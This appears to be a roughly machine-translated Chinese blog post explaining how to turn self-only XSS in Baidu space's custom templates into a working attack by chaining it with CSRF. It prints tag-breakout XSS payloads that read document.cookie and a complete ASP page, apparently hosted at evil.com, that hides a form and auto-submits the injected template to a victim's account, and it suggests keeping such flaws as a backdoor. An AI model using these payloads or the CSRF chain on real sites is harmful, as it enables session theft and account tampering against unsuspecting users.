Some XSS are not easy to use. For example, some background XSS vulnerabilities cannot be exploited by others. How can they be exploited? What else can I do with this XSS vulnerability in the background of others? In fact, a backdoor can be planted at this time (if it is a persistent XSS, this is the case later ). Some cross-site scripting (XSS) vulnerabilities are often discovered because they have not been used properly. For example, there are two persistent XSS vulnerabilities in the Custom templates of Baidu space, one is to write such code in the textarea for editing CSS </textarea> <script> alert ('xsss') </script> <textarea>, after saving the template, there will be a cross-site event. Another is to write </style> <script> alert (document. cookie) </script> <style>, click "preview" to display cross-site. This process seems to be only cross-user? No! Using CSRF can make these unusable XSS vulnerabilities equally powerful. For example: Asp ">Http://www.evil.com/csrf-xss-baiduhi.aspThe Code is as follows: <% S = "<form method = post action = http://hi.baidu.com/yuxi4n/commit>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = 5 name = ct/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = 1 name = spCssUse/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = 1 name = spCssColorID/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value =-1 name = spCssLayoutID/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit name = spRefURL/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = 5 name = cm/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = </style> <script> alert (document. cookie) </script> <style> name = spCssText/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = abc name = spCssName/>" S = s + "<input type = text style = display: none! Important; display: block; width = 0; height = 0 value = 0 name = spCssTag/>" S = s + "</form>" S = s + "<script> document. forms [0]. submit (); </script>" Response. write (s) %> The attacker yuxi4n was directed to this link by CSRF, followed by the appearance of XSS :). XSS does what it can. The preceding CSRF code submits a custom template form and executes the preview function. This is the case when previewing. CSRF can be concealed. The last time xKungfoo came back, he talked to monyer about this. At that time, the preview function somewhere in Baidu C2C had such an XSS. Many people think that there is no way to use it at all. What if CSRF is used together? After monyer demonstrated to them, the vulnerability is now fixed. The same problem occurs on many websites. Well, if the CSRF is well protected, you don't have to worry about it. However, we can use this neglected XSS vulnerability as a backdoor, if you have this opportunity. |